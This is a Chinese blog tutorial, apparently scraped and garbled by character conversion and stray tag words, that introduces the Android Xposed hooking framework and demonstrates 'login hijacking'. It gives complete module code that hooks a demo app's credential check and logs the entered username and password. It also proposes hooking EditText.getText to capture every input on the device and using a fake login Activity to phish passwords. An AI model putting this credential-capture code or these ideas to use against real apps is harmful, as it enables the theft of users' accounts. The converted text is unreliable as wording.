Android Hook神器:XPosed入門與登錄劫持演示

前段時間寫了一篇關於Cydia Substrate廣告注入的文章,你們都直呼過癮。可是,真正瞭解這一方面的同窗應該知道,其實還有一個比Cydia Substrate更出名的工具:XPosed。java

    

不是由於Xposed比Cydia Substrate作的多好,而是Xposed是完全開源的。今天,就向你們簡單地介紹一下Xposed,並書寫一個簡單的登錄劫持Demo,讓你們快速地入門學習Xposed。android

Xposed

Xposed框架是一款能夠在不修改APK的狀況下影響程序運行(修改系統)的框架服務,經過替換/system/bin/app_process程序控制zygote進程,使得app_process在啓動過程當中會加載XposedBridge.jar這個jar包,從而完成對Zygote進程及其建立的Dalvik虛擬機的劫持。git

基於Xposed框架能夠製做出許多功能強大的模塊,且在功能不衝突的狀況下同時運做。此外,Xposed框架中的每個庫還能夠單獨下載使用,如Per APP Setting(爲每一個應用設置單獨的dpi或修改權限)、Cydia、XPrivacy(防止隱私泄露)、BootManager(開啓自啓動程序管理應用)對原生Launcher替換圖標等應用或功能均基於此框架。    github

官網地址:         http://repo.xposed.info/         源碼地址:         https://github.com/rovo89    

Xposed框架是基於一個Android的本地服務應用XposedInstaller,與一個提供API 的jar文件來完成的。因此,安裝使用Xposed框架咱們須要完成如下幾個步驟:    api

安裝本地服務XposedInstaller

須要安裝XposedInstall.apk本地服務應用,咱們可以在其官網的framework欄目中找到,下載並安裝。地址爲:         http://repo.xposed.info/module/de.robv.android.xposed.installer服務器

安裝好後進入XposedInstaller應用程序,會出現須要激活框架的界面,以下圖所示。這裏咱們點擊「安裝/更新」就能完成框架的激活了。部分設備若是不支持直接寫入的話,能夠選擇「安裝方式」,修改成在Recovery模式下自動安裝便可。網絡

        

由於安裝時會存在須要Root權限,安裝後會啓動Xposed的app_process,因此安裝過程當中會存在設備屢次從新啓動。app

TIPS:因爲國內的部分ROM對Xposed不兼容,若是安裝Xposed不成功的話,強制使用Recovery寫入可能會形成設備反覆重啓而沒法正常啓動。

下載使用API庫

其API庫XposedBridgeApi-.jar(version是XposedAPI的版本號,如咱們這裏是XposedBridgeApi-54.jar)文件,咱們可以在Xposed的官方支持xda論壇找到,其地址爲:                 http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067框架

下載完畢後咱們須要將Xposed Library複製到lib目錄(注意是lib目錄,不是Android提供的libs目錄),而後將這個jar包添加到Build                PATH中。ide

                

若是直接將jar包放置到了libs目錄下,極可能會產生錯誤:                 「IllegalAccessError: Class ref in pre-verified class resolved to unexpected                  implementation」                     估計Xposed做者在其框架內部也引用了BridgeApi,這樣操做避免重複引用。

實戰,登錄劫持(原理)

以前跟你們也說過使用CydiaSubstrate進行廣告注入,不少網友問我,除了簡單地注入一個廣告,還能作什麼嗎?

登錄劫持!!!

你沒聽錯,今天咱們這裏就簡單地演示一下,如何對一個應用程序的登錄功能進行劫持,並把帳號密碼打印出來。

如咱們常見的登錄劫持,就是使用了Hook技術來完成的。那麼這個登錄劫持是如何完成的呢?下面咱們就具體來看看一個在開發中常見到的登錄例子。首先,咱們看看一個常見的登錄界面是什麼樣子的。

                

其對應的登錄流程代碼以下所示:

 

  1. // 登錄按鈕的onClick事件  
  2. mLoginButton.setOnClickListener(new OnClickListener() {  
  3.   
  4. @Override  
  5. public void onClick(View v) {  
  6.     // 獲取用戶名  
  7.         String username = mUserEditText.getText() + "";  
  8.         // 獲取密碼  
  9.         String password = mPasswordEditText.getText() + "";  
  10.   
  11.         if (isCorrectInfo(username, password)) {  
  12.             Toast.makeText(MainActivity.this, "登錄成功!", Toast.LENGTH_LONG).show();  
  13.         } else {  
  14.             Toast.makeText(MainActivity.this, "登錄失敗!", Toast.LENGTH_LONG).show();  
  15.         }  
  16.     }  
  17. });  
// 登錄按鈕的onClick事件
mLoginButton.setOnClickListener(new OnClickListener() {

@Override
public void onClick(View v) {
    // 獲取用戶名
        String username = mUserEditText.getText() + "";
        // 獲取密碼
        String password = mPasswordEditText.getText() + "";

        if (isCorrectInfo(username, password)) {
            Toast.makeText(MainActivity.this, "登錄成功!", Toast.LENGTH_LONG).show();
        } else {
            Toast.makeText(MainActivity.this, "登錄失敗!", Toast.LENGTH_LONG).show();
        }
    }
});

 

咱們會發現,登錄界面上面的用戶信息都是存儲在EditText控件上,而後經過用戶手動點擊「登錄」按鈕纔會將上面的信息發送至服務器端,去驗證帳號與密碼是否正確。這樣就很簡單了,黑客們只須要找到開發者在使用EditText控件的getText方法後進行網絡驗證的方法,Hook該方法,就能劫持到用戶的帳戶與密碼劫了。

TIPS:固然,咱們也能夠仿照上以前CydiaSubstrate的廣告注入例子,作一個如出一轍的Activity,在劫持原Activity優先彈出來,達到欺騙用戶獲取密碼的目的。

具體流程以下:

                        

實戰,登錄劫持(編碼)

明白了原理下面咱們就實際的操做一次,這裏咱們選擇使用Xposed框架來操做。使用Xposed進行Hook操做主要就是使用到了Xposed中的兩個比較重要的方法,handleLoadPackage獲取包加載時候的回調並拿到其對應的classLoader;findAndHookMethod對指定類的方法進行Hook。它們的詳細定義以下所示:

 

  1. /** 
  2.      * 包加載時候的回調 
  3.      */  
  4. public void handleLoadPackage(final LoadPackageParam lpparam)  
  5. /** 
  6.      * Xposed提供的Hook方法 
  7.      *  
  8.      * @param className 待Hook的Class 
  9.      * @param classLoader classLoader 
  10.      * @param methodName 待Hook的Method 
  11.      * @param parameterTypesAndCallback hook回調 
  12.      * @return  
  13.      */  
  14. Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback)   
/**
     * 包加載時候的回調
     */
public void handleLoadPackage(final LoadPackageParam lpparam)
/**
     * Xposed提供的Hook方法
     * 
     * @param className 待Hook的Class
     * @param classLoader classLoader
     * @param methodName 待Hook的Method
     * @param parameterTypesAndCallback hook回調
     * @return 
     */
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 

 

固然,咱們使用Xposed進行Hook也分爲以下幾個步驟:

1. 在AndroidManifest.xml文件中配置插件名稱與Api版本號                    

 

  1. <application  
  2.         android:allowBackup="true"  
  3.         android:icon="@drawable/ic_launcher"  
  4.         android:label="@string/app_name"  
  5.         android:theme="@style/AppTheme" >  
  6.   
  7.         <meta-data  
  8.             android:name="xposedmodule"  
  9.             android:value="true" />  
  10.         <!-- 模塊描述 -->  
  11.         <meta-data  
  12.             android:name="xposeddescription"  
  13.             android:value="一個登錄劫持的樣例" />  
  14.         <!-- 最低版本號 -->  
  15.         <meta-data  
  16.             android:name="xposedminversion"  
  17.             android:value="30" />  
  18. </application>  
<application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

        <meta-data
            android:name="xposedmodule"
            android:value="true" />
        <!-- 模塊描述 -->
        <meta-data
            android:name="xposeddescription"
            android:value="一個登錄劫持的樣例" />
        <!-- 最低版本號 -->
        <meta-data
            android:name="xposedminversion"
            android:value="30" />
</application>

 

2. 新建一個入口類並繼承並實現IXposedHookLoadPackage接口                    

以下操做,咱們新建了一個com.example.loginhook.Main的類,並實現IXposedHookLoadPackage接口中的handleLoadPackage方法,將非com.example.login包名的應用過濾掉,即咱們只操做包名爲com.example.login的應用。以下所示:

 

  1. public class Main implements IXposedHookLoadPackage {  
  2.   
  3.     /** 
  4.      * 包加載時候的回調 
  5.      */  
  6.     public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {  
  7.         // 將包名不是 com.example.login 的應用剔除掉  
  8.         if (!lpparam.packageName.equals("com.example.login"))  
  9.             return;  
  10.         XposedBridge.log("Loaded app: " + lpparam.packageName);  
  11.     }  
  12. }  
public class Main implements IXposedHookLoadPackage {

    /**
     * 包加載時候的回調
     */
    public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {
        // 將包名不是 com.example.login 的應用剔除掉
        if (!lpparam.packageName.equals("com.example.login"))
            return;
        XposedBridge.log("Loaded app: " + lpparam.packageName);
    }
}

 

3. 聲明主入口路徑                    

須要在assets文件夾中新建一個xposed_init的文件,並在其中聲明主入口類。如這裏咱們的主入口類爲com.example.loginhook.Main。

                        

4. 使用findAndHookMethod方法Hook劫持登錄信息                        

這是最重要的一步,咱們以前所分析的都須要到這一步進行操做。如咱們以前所分析的登錄程序,咱們須要劫持,就是須要Hook其com.example.login.MainActivity中的isCorrectInfo方法。咱們使用Xposed提供的findAndHookMethod直接進行MethodHook操做(與Cydia很相似)。在其Hook回調中使用XposedBridge.log方法,將登錄的帳號密碼信息打印至Xposed的日誌中。具體操做以下所示:

 

  1. import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;  
  2. public class Main implements IXposedHookLoadPackage {  
  3.   
  4.     /** 
  5.      * 包加載時候的回調 
  6.      */  
  7.     public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {  
  8.   
  9.         // 將包名不是 com.example.login 的應用剔除掉  
  10.         if (!lpparam.packageName.equals("com.example.login"))  
  11.             return;  
  12.         XposedBridge.log("Loaded app: " + lpparam.packageName);  
  13.   
  14.         // Hook MainActivity中的isCorrectInfo(String,String)方法  
  15.         findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,  
  16.                 String.class, new XC_MethodHook() {  
  17.   
  18.                     @Override  
  19.                     protected void beforeHookedMethod(MethodHookParam param) throws Throwable {  
  20.                         XposedBridge.log("開始劫持了~");  
  21.                         XposedBridge.log("參數1 = " + param.args[0]);  
  22.                         XposedBridge.log("參數2 = " + param.args[1]);  
  23.                     }  
  24.   
  25.                     @Override  
  26.                     protected void afterHookedMethod(MethodHookParam param) throws Throwable {  
  27.                         XposedBridge.log("劫持結束了~");  
  28.                         XposedBridge.log("參數1 = " + param.args[0]);  
  29.                         XposedBridge.log("參數2 = " + param.args[1]);  
  30.   
  31.                     }  
  32.                 });  
  33.     }  
  34. }  
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class Main implements IXposedHookLoadPackage {

    /**
     * 包加載時候的回調
     */
    public void handleLoadPackage(final LoadPackageParam lpparam) throws Throwable {

        // 將包名不是 com.example.login 的應用剔除掉
        if (!lpparam.packageName.equals("com.example.login"))
            return;
        XposedBridge.log("Loaded app: " + lpparam.packageName);

        // Hook MainActivity中的isCorrectInfo(String,String)方法
        findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,
                String.class, new XC_MethodHook() {

                    @Override
                    protected void beforeHookedMethod(MethodHookParam param) throws Throwable {
                        XposedBridge.log("開始劫持了~");
                        XposedBridge.log("參數1 = " + param.args[0]);
                        XposedBridge.log("參數2 = " + param.args[1]);
                    }

                    @Override
                    protected void afterHookedMethod(MethodHookParam param) throws Throwable {
                        XposedBridge.log("劫持結束了~");
                        XposedBridge.log("參數1 = " + param.args[0]);
                        XposedBridge.log("參數2 = " + param.args[1]);

                    }
                });
    }
}

 

5. 在XposedInstaller中啓動咱們自定義的模塊                        

編譯後安裝在Android設備上的模塊應用程序不會當即的生效,咱們須要在XpasedInstaller模塊選項中勾選待啓用的模塊才能讓其正常的生效。如:

                            

6. 重啓驗證                            

重啓Android設備,進入XposedInstaller查看日誌模塊,由於咱們以前使用的是XposedBridge.log方法打印log,因此log都會顯示在此處。咱們發現咱們須要劫持的帳號密碼都顯示再來此處。

                                

TIPS:這裏咱們是經過逆向分析該登錄頁面的登陸判斷調用函數來完成Hook與劫持工做的。有些讀者應該想出來了,咱們能不能直接Hook系統中提供給咱們的控件EditText(輸入框控件)中的getText()方法進行Hook呢?這樣咱們就可以對系統中全部的輸入進行監控劫持了。這裏留給你們一個思考,感興趣的讀者能夠嘗試一下。
相關文章
相關標籤/搜索